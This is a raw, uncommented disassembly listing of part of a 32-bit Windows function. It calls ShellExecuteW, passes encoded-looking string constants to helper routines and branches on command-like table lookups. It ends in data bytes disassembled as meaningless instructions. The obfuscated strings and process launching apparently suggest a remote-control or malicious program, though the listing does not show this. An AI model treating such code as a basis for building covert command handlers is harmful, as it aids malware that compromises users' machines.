call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x529da2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Q2pYwUDMY3NzQ2NCSw
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042f690
push str.Vjlq1RzVYlBiQJHXBg1GOUs
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x79
call fcn.0042f690
push str.dUtNEaVMu3DgYRsLnBMRGT4
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x7a
call fcn.0042f690
lea ecx, [ebp - 0x2c]
call fcn.004201e0
push esi
push ecx
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 0x7c
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x30]
call fcn.00445470
add esp, 4
mov byte [ebp - 4], 0x7d
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.004218d0
add esp, 0xc
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x30]
call fcn.0042e050
push 0x594764
lea ecx, [ebp - 0x48]
call fcn.0042f690
push 0x594764
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x7e
call fcn.0042f690
push ecx
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7f
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x50]
call fcn.00445470
mov esi, eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x80
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x30]
call fcn.00445470
add esp, 4
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x48]
mov edx, esi
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.00459010
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.0042e050
lea ecx, [ebp - 0x50]
call fcn.0042e050
lea ecx, [ebp - 0x24]
call fcn.0042e050
lea ecx, [ebp - 0x48]
call fcn.0042e050
lea ecx, [ebp - 0x2c]
call fcn.0042e050
lea ecx, [ebp - 0x1c]
call fcn.0042e050
lea ecx, [ebp - 0x3c]
call fcn.0042e050
lea ecx, [ebp - 0x44]
call fcn.0042e050
lea ecx, [ebp - 0x38]
call fcn.0042e050
lea ecx, [ebp - 0xcc]
call fcn.0042d500
jmp 0x52a531
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4928
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d130
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d500
test esi, esi
je 0x529e4c
lea ecx, [ebp - 0x68]
call fcn.0042d150
mov ecx, edi
mov dword [ebp - 4], 0x82
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529e06
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052aae0
add esp, 4
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.00405e00
lea ecx, [ebp - 0x68]
call fcn.0042d500
jmp 0x52a531
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4958
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d130
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d500
test esi, esi
je 0x529ef5
lea ecx, [ebp - 0x68]
call fcn.0042d150
mov ecx, edi
mov dword [ebp - 4], 0x83
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529e98
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052aa40
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 0xffffffff
push eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.0044adf0
mov eax, dword [ebp - 0x38]
add esp, 0xc
push dword [ebp - 0x24]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x48]
call fcn.00406410
lea ecx, [ebp - 0x68]
call fcn.0042d500
jmp 0x52a531
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4940
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d130
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d500
test esi, esi
je 0x529f37
call fcn.0044d0c0
jmp 0x52a531
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c49a0
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d130
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d500
test esi, esi
je 0x52a267
lea ecx, [ebp - 0x68]
call fcn.0042d150
mov ecx, edi
mov dword [ebp - 4], 0x84
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529f87
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.004201e0
lea ecx, [ebp - 0x44]
call fcn.004201e0
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x86
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.0044b000
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.0044d0e0
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x52a0da
push str.Q3VtQYTMHeAgU2MFhk
lea ecx, [ebp - 0x20]
call fcn.0042f690
push str.NDl28MVFLHBF5G
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x87
call fcn.0042f690
push str.RjJhMZyNAIEyo1KVVwuDKEQAOCy9WNPiEvOXgQ4DFlMV7Dw
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x88
call fcn.0042f690
push 0x594764
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x89
call fcn.0042f690
push 0x594764
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x8a
call fcn.0042f690
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x8b
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x6c]
call fcn.00445470
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x8c
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x40]
call fcn.00445470
mov esi, eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x8d
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x30]
call fcn.00445470
add esp, 4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x8e
push ecx
lea ecx, [ebp - 0x24]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.00459010
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.0042e050
lea ecx, [ebp - 0x40]
call fcn.0042e050
lea ecx, [ebp - 0x6c]
call fcn.0042e050
lea ecx, [ebp - 0x24]
call fcn.0042e050
lea ecx, [ebp - 0x48]
call fcn.0042e050
lea ecx, [ebp - 0x2c]
call fcn.0042e050
lea ecx, [ebp - 0x3c]
call fcn.0042e050
lea ecx, [ebp - 0x20]
call fcn.0042e050
lea ecx, [ebp - 0x3c]
call fcn.004201e0
push str.WmNIfUiFBnKSIqXQXIp5eEY_JIXhZmM3A7sEzgNoKRcpeJi8QLamghKQSYz2NwZqUaHhGOPyF4XT2oh0LgI8OJylB0cnB_yFDtwgJx41YLw
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8f
call fcn.0042ed90
push str.b29H2agEAKKQ8
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x90
call fcn.0042ed90
push str.eUYwXeRAoaQw0Y4KlwcvHQ
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x91
call fcn.0042ed90
sub esp, 0x18
mov byte [ebp - 4], 0x92
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x52a14f
lea eax, [ebp - 0x100]
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x6c]
call fcn.00445090
add esp, 0x18
mov byte [ebp - 4], 0x93
mov ecx, 1
jmp 0x52a172
lea eax, [ebp - 0xe4]
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x28]
call fcn.00445090
add esp, 0x18
mov dword [ebp - 4], 0x94
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042ed90
mov dword [ebp - 4], 0x95
mov eax, dword [ebp - 0x2c]
test al, 2
je 0x52a1a4
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
call fcn.0042e050
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x97
test al, 1
je 0x52a1b4
lea ecx, [ebp - 0x6c]
call fcn.0042e050
lea ecx, [ebp - 0x130]
call fcn.0042e4a0
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x40]
call fcn.00445090
push esi
mov byte [ebp - 4], 0x98
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x3c]
push eax
call fcn.004218d0
add esp, 0x2c
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x40]
call fcn.0042e050
push ecx
lea eax, [ebp - 0x3c]
mov ecx, esp
push eax
call fcn.0042e9b0
mov ecx, dword [ebp - 0x38]
call fcn.00525d30
lea ecx, [ebp - 0x130]
call fcn.0042eb40
lea ecx, [ebp - 0x100]
call fcn.0042eb40
lea ecx, [ebp - 0xe4]
call fcn.0042eb40
lea ecx, [ebp - 0x9c]
call fcn.0042eb40
lea ecx, [ebp - 0x3c]
call fcn.0042e050
lea ecx, [ebp - 0x44]
call fcn.0042e050
lea ecx, [ebp - 0x1c]
call fcn.0042e050
lea ecx, [ebp - 0x68]
call fcn.0042d500
jmp 0x52a531
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4a78
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d130
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d500
test esi, esi
je 0x52a330
lea ecx, [ebp - 0x68]
call fcn.0042d150
mov ecx, edi
mov dword [ebp - 4], 0x99
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a2b7
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 8
lea ecx, [ebp - 0x68]
push 0x594764
call fcn.0042bd80
lea eax, [ebp - 0x50]
mov dword [ebp - 0x20], 1
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x50], 2
push eax
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x68]
call fcn.0044b410
mov eax, dword [ebp - 0x50]
add esp, 0xc
or eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.004146c0
lea ecx, [ebp - 0x68]
call fcn.0042d500
jmp 0x52a531
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c49b8
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d130
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d500
test esi, esi
je 0x52a3ed
lea ecx, [ebp - 0x68]
call fcn.0042d150
mov ecx, edi
mov dword [ebp - 4], 0x9a
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a380
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052aae0
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x38]
setne byte [ebp - 0x31]
push dword [eax]
call fcn.0042ed90
mov dl, byte [ebp - 0x31]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x9b
call fcn.00536980
lea ecx, [ebp - 0x130]
call fcn.0042eb40
lea ecx, [ebp - 0x68]
call fcn.0042d500
jmp 0x52a531
push edi
lea ecx, [ebp - 0x44]
call fcn.0042df70
push str.MHhIoOEUWoI1ZfZDyZnARREXLVVULZO1lXCHQ
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0x9c
call fcn.0042f690
push str.UFpJ3SD0ppLnV1iLTo
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x9d
call fcn.0042f690
lea ecx, [ebp - 0x1c]
call fcn.004201e0
sub esp, 0x18
mov byte [ebp - 4], 0x9f
mov ecx, esp
push dword [ebp - 0x44]
call fcn.0042ed90
lea ecx, [ebp - 0x6c]
call fcn.00430370
add esp, 0x14
mov byte [ebp - 4], 0xa0
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x48]
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x28]
call fcn.00445470
add esp, 4
push esi
mov byte [ebp - 4], 0xa1
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.004218d0
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042e050
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x9f
call fcn.0042e050
push 0x594764
lea ecx, [ebp - 0x24]
call fcn.0042f690
push 0x594764
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa2
call fcn.0042f690
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xa3
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x6c]
call fcn.00445470
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa4
mov ecx, esp
push 0x5c939c
call fcn.0042e9e0
lea ecx, [ebp - 0x28]
call fcn.00445090
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa5
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00459010
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042e050
lea ecx, [ebp - 0x6c]
call fcn.0042e050
lea ecx, [ebp - 0x20]
call fcn.0042e050
lea ecx, [ebp - 0x24]
call fcn.0042e050
lea ecx, [ebp - 0x1c]
call fcn.0042e050
lea ecx, [ebp - 0x48]
call fcn.0042e050
lea ecx, [ebp - 0x2c]
call fcn.0042e050
lea ecx, [ebp - 0x44]
call fcn.0042e050
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
push str.invalid_stoi_argument
call fcn.005374c9
push str.stoi_argument_out_of_range
call fcn.00537509
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
call fcn.00552a0f
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
call fcn.00552a0f
call fcn.00552a0f
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push str.invalid_map_K__T__key
call fcn.00537509
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
outsb dx, byte [esi]
xchg edi, eax
push edx
add byte [edi + edx*4], al
push edx
add byte [eax + 0x5a005297], al
xchg edi, eax
push edx
add byte [edi + edx*4 + 0x4000052], bl
add al, 4
add dword [esp + eax], eax
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3